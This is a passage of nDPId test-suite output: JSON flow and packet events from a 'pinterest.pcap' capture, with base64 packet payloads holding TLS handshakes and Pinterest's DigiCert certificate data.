N\/2bAkPY93298nb5tvOK190URc4dJHb\/5bPTOiylnGIQsqMvnw6scjIuGkVLK3DAPguvS5TJIlmKKXqtBe0m9S16b7mph7Txl1AdyMc2IUs6GwZe6AkN5YaDCarW+ZpawPrz0IIXFUfUFL4rsqojOND\/O6fhGo8uaOKRrRqD41672WawIDAQABo4IJIDCCCRwwHwYDVR0jBBgwFoAUUWj\/kK8CB3U8zNllZGKiErhZcjswHQYDVR0OBBYEFA2E0pErXPYSSEiu6j6AldQTTOO9MIIGSgYDVR0RBIIGQTCCBj2CDyoucGludGVyZXN0LmNvbYIMcGludGVyZXN0Lmlugg4qLnBpbnRlcmVzdC5jb4IMcGludGVyZXN0LmNvgg4qLnBpbnRlcmVzdC5wZYIMcGludGVyZXN0LnBlgg4qLnBpbnRlcmVzdC5iZYIMcGludGVyZXN0LmJlgg4qLnBpbnRlcmVzdC5pboIOKi5waW50ZXJlc3QucGiCDioucGludGVyZXN0LmVjggxwaW50ZXJlc3QucGiCDioucGludGVyZXN0LmNsggwqLnBpbmltZy5jb22CDioucGludGVyZXN0LmVzggxwaW50ZXJlc3QuZXOCDioucGludGVyZXN0Lm56ggxwaW50ZXJlc3QubnqCDHBpbnRlcmVzdC5lY4IMcGludGVyZXN0Lmh1ggxwaW50ZXJlc3QuY2GCDHBpbnRlcmVzdC5pZIIOKi5waW50ZXJlc3QubmyCDHBpbnRlcmVzdC5ubIIOKi5waW50ZXJlc3QudHeCDHBpbnRlcmVzdC50d4IOKi5waW50ZXJlc3QudGiCDHBpbnRlcmVzdC50aIIOKi5waW50ZXJlc3QuaWSCDioucGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC5odYIMcGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC51a4IMcGludGVyZXN0LnVrgg4qLnBpbnRlcmVzdC5ydYIMcGludGVyZXN0LnJ1gg4qLnBpbnRlcmVzdC5pdIIMcGludGVyZXN0Lml0ggxwaW50ZXJlc3QuZnKCDHBpbnRlcmVzdC5jbA=="} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":135,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":7,"flow_first_seen":1605289714142,"flow_last_seen":1605289714229,"flow_tot_l4_data_len":2145,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":306,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38522,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02314{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229789,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWelCqhXcyXzjKgBgLMKcjAAABAQgKwrkiHdZiICuCDioucGludGVyZXN0LmZygg4qLnBpbnRlcmVzdC5qcIIOKi5waW50ZXJlc3QuY2GCDXBpbnRlcmVzdC5jb22CBnBpbi5pdIIOKi5waW50ZXJlc3Quc2WCDioucGludGVyZXN0LnB0gg4qLnBpbnRlcmVzdC5teIIOKi5waW50ZXJlc3Qua3KCDioucGludGVyZXN0LmllghVwaW50ZXJlc3QuZW5naW5lZXJpbmeCDioucGludGVyZXN0LmRrgg4qLnBpbnRlcmVzdC5kZYIOKi5waW50ZXJlc3QuY2iCDioucGludGVyZXN0LmF0ghMqLnBpbnRlcmVzdG1haWwuY29tghcqLnBpbnRlcmVzdC5lbmdpbmVlcmluZ4IQKi5waW50ZXJlc3QuaW5mb4IOcGludGVyZXN0LmluZm+CCnBpbmltZy5jb22CEXBpbnRlcmVzdG1haWwuY29tggxwaW50ZXJlc3QuZGWCDHBpbnRlcmVzdC5ka4IMcGludGVyZXN0LmllggxwaW50ZXJlc3QuanCCDHBpbnRlcmVzdC5rcoIMcGludGVyZXN0Lm14ggxwaW50ZXJlc3QucHSCDHBpbnRlcmVzdC5zZYIMcGludGVyZXN0LmF0ggxwaW50ZXJlc3QuY2iCD3BpbnRlcmVzdC5jby5hdIISKi5waW50ZXJlc3QuY29tLnV5gg9waW50ZXJlc3QuY28ua3KCD3BpbnRlcmVzdC5jby51a4ISKi5waW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLm14ghEqLnBpbnRlcmVzdC5jby5ueoIPcGludGVyZXN0LmNvLm56ghBwaW50ZXJlc3QuY29tLnBlghBwaW50ZXJlc3QuY29tLnV5ghEqLnBpbnRlcmVzdC5jby5pboIQcGludGVyZXN0LmNvbS5weYISKi5waW50ZXJlc3QuY29tLnB5ghBwaW50ZXJlc3QuY29tLmJvghIqLnBpbnRlcmVzdC5jb20uYm+CEHBpbnRlcmVzdC5jb20uZWOCEioucGludGVyZXN0LmNvbS5lY4IPcGludGVyZXN0LmNvLmlughIqLnBpbnRlcmVzdC5jb20ucGWCEioucGludGVyZXN0LmNvbS5teIIQcGludGVyZXN0LmNvbS52boISKi5waW50ZXJlc3QuY29tLnZughEqLnBpbnRlcmVzdC5jby51a4IRKi5waW50ZXJlc3QuY28ua3KCESoucGludGVyZXN0LmNvLmF0ghcqLnRlc3RpbmcucGludGVyZXN0LmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAg=="} +02329{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229790,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWelCqiuMyXzjKgBgLMPTgAAABAQgKwrkiHdZiICswADCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABc1XlLKoAAAQDAEYwRAIgRaKv8aGxAlWYWbVHO27QuYaMVjkla1sqJ9KYUXrictoCIGZLCw9wt4OYbNbjf38Sd0HcVnjDAvQiSaQp0SpzApBKAHUAXNxDkv7mq0VEsV6a1FbmEDf71fpH3KFzlLJe5vbHDsoAAAFzVeUs2gAABAMARjBEAiAuDr91sHLHbeq6ULmtTdDSNqnLoTLlcYe7\/kPCy2gn4QIgA+cib48hqVMfgDRA7rfZqbp5jNTNYzXGXOFA2AkCmT0wDQYJKoZIhvcNAQELBQADggEBABGiFYAkFnu8UzB05yYuu6ORpPiRus9re\/ZboVIXptvL0pkUrcvgfZi2w16yu5GxgOd3lO3AU5Kt\/ZpKFFCZxh9BN0EmZMVIOWL3InBaoMAPWM5FvBFhZR3ZzzTQgAomjhPGPc\/Ym2irB3KsHSFm9PXsfz\/uUho1KBgS5\/dxVaPUlW0FzOPQ352X1K5D48AsZ8gSLatYycUWqitEioqj+tbkxKSmohhxE9FIu2mZwKLfa5Jwerk4r+kkfHZWeU64M8ryNPfHAumKj4tuY9ExBO7Y4e2x3QcattWNF+nxQ0vhygeFbqK9scET+ozh8sLxcKZ6BJWetov0hn7Yza\/HLf0ABLUwggSxMIIDmaADAgECAhAE4eek3Fzy823AK0K4XRWfMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMTMxMDIyMTIwMDAwWhcNMjgxMDIyMTIwMDAwWjBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbgL8IkBshtBF\/X7wpkBrJ9IiZlFq5CQJvO3J+fdgc+wzBVhxm5T5QOWpQfVVa0wgIqr9CY7gtA18TQO3LIFJ7vkLERqa7SyLhDOtkLC9XVlfVAr8gd7U2cX1e3hlBomfWK2tLHBR+ol8ncpLGChC3GraWcxxmCpoUPXkRYKjeP\/TXxCwgnMlr1u4uepL1R0Cfi3TtCM6MFKMS7KMyarCsjDXjGe+ZecbdKPgj7gbcWFqGdIxJN5deSCKx1pJy6zReyHkQ1ZX9TJTnRHAqaYxsZknRoCjfCwlJIyzlaorbhXcHdoCC4IaKTJm8USiFBx+1tm\/JIL\/MD9aJoklMvXuMCAwEAAaOCAUkwggFFMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovLw=="} +02029{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229790,"pkt_caplen":1244,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1244,"pkt_l4_len":1190,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABKYGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWelCqkE8yXzjKgBgLMMgtAAABAQgKwrkiHdZiICt3d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUUWj\/kK8CB3U8zNllZGKiErhZcjswHwYDVR0jBBgwFoAUsT7DaQP4v0cB1JgmGggC72NkK8MwDQYJKoZIhvcNAQELBQADggEBABiKlYkD5m3fXPwdaOpKj4PWUS+Na0QWnqxj9dJubISZi6qBcYRb7TROsLd5kinMLYBq8I4g4Xmk\/gNHE+r1hspZcX30BJZr01lYPf7TMSVcGDiEo+afgv2MW5gxTs14nhr9hctJqvIni5ly\/D6q1UEL2tU2ob8cbkdJf17ZSHwD2f2LSaCYJkJA69aSEaRkCldUxPUd1gJea6zuxICaEnL6VpPX\/78whQYwvwt\/Tv9XBZ0k7YXDK\/umdaisLRbvfXknsuvCnQsH6qqF0wGjIChBWUMo0oHjqvbsezt3tkBigAVBRQHvFwY+3sAzm2fTYS5yh+Rp\/BIAV0AecPUeybQWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBRRaP+QrwIHdTzM2WVkYqISuFlyOxgPMjAyMDExMDcxMTQ0NTJaMHMwcTBJMAkGBSsOAwIaBQAEFM8m9Rj6yX6PjLNC4BwvahCejl8KBBRRaP+QrwIHdTzM2WVkYqISuFlyOwIQBCEMxaOGM0GLpuhDcnQSm4AAGA8yMDIwMTEwNzExNDQ1MlqgERgPMjAyMDExMTQxMDU5NTJaMA0GCSqGSIb3DQEBCwUAA4IBAQCImBufb295Au2ju2lBCnSUKecQwVg9gkN6+y60LAZnbHKZEtr+Lda+UXfoK+l1YxaCqc9JLrsr4yUrVuWDwRxH0toRCTmGGUR1HNlQU5BSRgxjgPVigRozTEGDyIG2vw3NYmRMnZjbfP1UrZzwnVZzj5IoQyLzbQpl32Lbbr\/bdDDEwFgQMUn5Amod0fxMXoc8DZjVCIsQLbr0ZulxdcJ15CaK\/qvh8pChLhnvH1n\/AwOhcIVlVBpT9V0l7u\/uP1rrFrxi8PCEFwKJscSV3vQwFCEg2HYfT4kSA5rWhfeVL8L7H9ouqSE+9QM1pVNOcBI21XL+i4YVwGNzOS8NUvBEFgMDASwMAAEoAwAdIHizQb9n034\/YLMYk7RVdrhGVmD\/PEx1O+p53\/RTtchDCAQBACquDSi99+LNBB7STaM\/Uzc\/ASDU0ZaBIFKqZJzxr91mGn+hYwO\/dXP5CBJfwnT34new26eATMutBPB\/VQomfUXvM01bhtWMaEOOIzUSjAm4xxOXw3Q90Lh2y4RUSck6eF0CTOf26WcKjmn\/K1WIE84JhEK4VcrY476hAY2e+cDofa8HocpLNmweQOnzc8Ko3s5eN8fy+2HZJNxrEQE2cUeRMK0CYLf7tHUYmK\/djCEpWPS\/9gzKiGOD35K3KUnFFAZmalV2hyIqwjfuo0wOCO9riePyKblR5PrOU+GxbD6eBnKylA0WoqCHG\/3AvKvxvdjM6DReXBJ49RVVz7xKxVgWAwMABA4AAAA="} +02662{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":138,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":10,"flow_first_seen":1605289714142,"flow_last_seen":1605289714229,"flow_tot_l4_data_len":6175,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":617,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38522,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","server_names":"*.pinterest.com,pinterest.in,*.pinterest.co,pinterest.co,*.pinterest.pe,pinterest.pe,*.pinterest.be,pinterest.be,*.pinterest.in,*.pinterest.ph,*.pinterest.ec,pinterest.ph,*.pinterest.cl,*.pinimg.com,*.pinterest.es,pinterest.es,*.pinterest.nz,pinterest.nz,pinterest.ec,pinterest.hu,pinterest.ca,pinterest.id,*.pinterest.nl,pinterest.nl,*.pinterest.tw,pinterest.tw,*.pinterest.th,pinterest.th,*.pinterest.id,*.pinterest.vn,*.pinterest.hu,pinterest.vn,*.pinterest.uk,pinterest.uk,*.pinterest.ru,pinterest.ru,*.pinterest.it,pinterest.it,pinterest.fr,pinterest.cl,*.pinterest.fr,*.pinterest.jp,*.pinterest.ca,pinterest.com,pin.it,*.pinterest.se,*.pinterest.pt,*.pinterest.mx,*.pinterest.kr,*.pinterest.ie,pinterest.engineering,*.pinterest.dk,*.pinterest.de,*.pinterest.ch,*.pinterest.at,*.pinterestmail.com,*.pinterest.engineering,*.pinterest.info,pinterest.info,pinimg.com,pinterestmail.com,pinterest.de,pinterest.dk,pinterest.ie,pinterest.jp,pinterest.kr,pinterest.mx,pinterest.pt,pinterest.se,pinterest.at,pinterest.ch,pinterest.co.at,*.pinterest.com.uy,pinterest.co.kr,pinterest.co.uk,*.pinterest.com.au,pinterest.com.au,pinterest.com.mx,*.pinterest.co.nz,pinterest.co.nz,pinterest.com.pe,pinterest.com.uy,*.pinterest.co.in,pinterest.com.py,*.pinterest.com.py,pinterest.com.bo,*.pinterest.com.bo,pinterest.com.ec,*.pinterest.com.ec,pinterest.co.in,*.pinterest.com.pe,*.pinterest.com.mx,pinterest.com.vn,*.pinterest.com.vn,*.pinterest.co.uk,*.pinterest.co.kr,*.pinterest.co.at,*.testing.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Pinterest, Inc., CN=*.pinterest.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"1E:D0:5D:9F:0D:82:46:B3:60:5F:11:FB:64:D5:28:35:37:40:7A:4E"}} +00439{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229820,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gBmcdABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnQBu8NFCIoAAAAAUAQAAI36AAA="} +00440{"flow_id":9,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229846,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCkWGABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnoBuzJfOMoAAAAAUAQAAO6aAAA="} +02323{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229995,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWchkTOMZ4Sa7GgBgLMFxoAAABAQgKwrkiHdZiICoWAwMAUgIAAE4DA4+lo7WaBkSPEIhuYvlME1qRimMyCtmB\/JqWrr\/uGluCAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMRUAsAEUwAEUkADI4wggyKMIILcqADAgECAhAEIQzFo4YzQYum6ENydBKbMA0GCSqGSIb3DQEBCwUAMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMB4XDTIwMDcxNjAwMDAwMFoXDTIxMDgwNDEyMDAwMFowbjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDVNhbiBGcmFuY2lzY28xGDAWBgNVBAoTD1BpbnRlcmVzdCwgSW5jLjEYMBYGA1UEAwwPKi5waW50ZXJlc3QuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAympd0SK2ykpSjuxd34nlkvFt79NjfrXrAqDT6H12U3P3i5RnawC2sGpT\/6L8igmc\/3X18Sc5REbcl7J4nDi75dUMNjYCoDdmCdIylz1v26Y6l3nJdLoUK0cINwgIFCmAGRr7DkrCmqhyvOhxNvzAbzuylSkTgWtjPSRAjjN\/2bAkPY93298nb5tvOK190URc4dJHb\/5bPTOiylnGIQsqMvnw6scjIuGkVLK3DAPguvS5TJIlmKKXqtBe0m9S16b7mph7Txl1AdyMc2IUs6GwZe6AkN5YaDCarW+ZpawPrz0IIXFUfUFL4rsqojOND\/O6fhGo8uaOKRrRqD41672WawIDAQABo4IJIDCCCRwwHwYDVR0jBBgwFoAUUWj\/kK8CB3U8zNllZGKiErhZcjswHQYDVR0OBBYEFA2E0pErXPYSSEiu6j6AldQTTOO9MIIGSgYDVR0RBIIGQTCCBj2CDyoucGludGVyZXN0LmNvbYIMcGludGVyZXN0Lmlugg4qLnBpbnRlcmVzdC5jb4IMcGludGVyZXN0LmNvgg4qLnBpbnRlcmVzdC5wZYIMcGludGVyZXN0LnBlgg4qLnBpbnRlcmVzdC5iZYIMcGludGVyZXN0LmJlgg4qLnBpbnRlcmVzdC5pboIOKi5waW50ZXJlc3QucGiCDioucGludGVyZXN0LmVjggxwaW50ZXJlc3QucGiCDioucGludGVyZXN0LmNsggwqLnBpbmltZy5jb22CDioucGludGVyZXN0LmVzggxwaW50ZXJlc3QuZXOCDioucGludGVyZXN0Lm56ggxwaW50ZXJlc3QubnqCDHBpbnRlcmVzdC5lY4IMcGludGVyZXN0Lmh1ggxwaW50ZXJlc3QuY2GCDHBpbnRlcmVzdC5pZIIOKi5waW50ZXJlc3QubmyCDHBpbnRlcmVzdC5ubIIOKi5waW50ZXJlc3QudHeCDHBpbnRlcmVzdC50d4IOKi5waW50ZXJlc3QudGiCDHBpbnRlcmVzdC50aIIOKi5waW50ZXJlc3QuaWSCDioucGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC5odYIMcGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC51a4IMcGludGVyZXN0LnVrgg4qLnBpbnRlcmVzdC5ydYIMcGludGVyZXN0LnJ1gg4qLnBpbnRlcmVzdC5pdIIMcGludGVyZXN0Lml0ggxwaW50ZXJlc3QuZnKCDHBpbnRlcmVzdC5jbA=="} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":141,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":7,"flow_first_seen":1605289714142,"flow_last_seen":1605289714229,"flow_tot_l4_data_len":2145,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":306,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38514,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02314{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229996,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdKO8SuPDRQiKgBgLMC4IAAABAQgKwrkiG9ZiICqCDioucGludGVyZXN0LmZygg4qLnBpbnRlcmVzdC5qcIIOKi5waW50ZXJlc3QuY2GCDXBpbnRlcmVzdC5jb22CBnBpbi5pdIIOKi5waW50ZXJlc3Quc2WCDioucGludGVyZXN0LnB0gg4qLnBpbnRlcmVzdC5teIIOKi5waW50ZXJlc3Qua3KCDioucGludGVyZXN0LmllghVwaW50ZXJlc3QuZW5naW5lZXJpbmeCDioucGludGVyZXN0LmRrgg4qLnBpbnRlcmVzdC5kZYIOKi5waW50ZXJlc3QuY2iCDioucGludGVyZXN0LmF0ghMqLnBpbnRlcmVzdG1haWwuY29tghcqLnBpbnRlcmVzdC5lbmdpbmVlcmluZ4IQKi5waW50ZXJlc3QuaW5mb4IOcGludGVyZXN0LmluZm+CCnBpbmltZy5jb22CEXBpbnRlcmVzdG1haWwuY29tggxwaW50ZXJlc3QuZGWCDHBpbnRlcmVzdC5ka4IMcGludGVyZXN0LmllggxwaW50ZXJlc3QuanCCDHBpbnRlcmVzdC5rcoIMcGludGVyZXN0Lm14ggxwaW50ZXJlc3QucHSCDHBpbnRlcmVzdC5zZYIMcGludGVyZXN0LmF0ggxwaW50ZXJlc3QuY2iCD3BpbnRlcmVzdC5jby5hdIISKi5waW50ZXJlc3QuY29tLnV5gg9waW50ZXJlc3QuY28ua3KCD3BpbnRlcmVzdC5jby51a4ISKi5waW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLm14ghEqLnBpbnRlcmVzdC5jby5ueoIPcGludGVyZXN0LmNvLm56ghBwaW50ZXJlc3QuY29tLnBlghBwaW50ZXJlc3QuY29tLnV5ghEqLnBpbnRlcmVzdC5jby5pboIQcGludGVyZXN0LmNvbS5weYISKi5waW50ZXJlc3QuY29tLnB5ghBwaW50ZXJlc3QuY29tLmJvghIqLnBpbnRlcmVzdC5jb20uYm+CEHBpbnRlcmVzdC5jb20uZWOCEioucGludGVyZXN0LmNvbS5lY4IPcGludGVyZXN0LmNvLmlughIqLnBpbnRlcmVzdC5jb20ucGWCEioucGludGVyZXN0LmNvbS5teIIQcGludGVyZXN0LmNvbS52boISKi5waW50ZXJlc3QuY29tLnZughEqLnBpbnRlcmVzdC5jby51a4IRKi5waW50ZXJlc3QuY28ua3KCESoucGludGVyZXN0LmNvLmF0ghcqLnRlc3RpbmcucGludGVyZXN0LmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAg=="} +02314{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229997,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWchkTPjJ4Sa7GgBgLMGoiAAABAQgKwrkiHdZiICqCDioucGludGVyZXN0LmZygg4qLnBpbnRlcmVzdC5qcIIOKi5waW50ZXJlc3QuY2GCDXBpbnRlcmVzdC5jb22CBnBpbi5pdIIOKi5waW50ZXJlc3Quc2WCDioucGludGVyZXN0LnB0gg4qLnBpbnRlcmVzdC5teIIOKi5waW50ZXJlc3Qua3KCDioucGludGVyZXN0LmllghVwaW50ZXJlc3QuZW5naW5lZXJpbmeCDioucGludGVyZXN0LmRrgg4qLnBpbnRlcmVzdC5kZYIOKi5waW50ZXJlc3QuY2iCDioucGludGVyZXN0LmF0ghMqLnBpbnRlcmVzdG1haWwuY29tghcqLnBpbnRlcmVzdC5lbmdpbmVlcmluZ4IQKi5waW50ZXJlc3QuaW5mb4IOcGludGVyZXN0L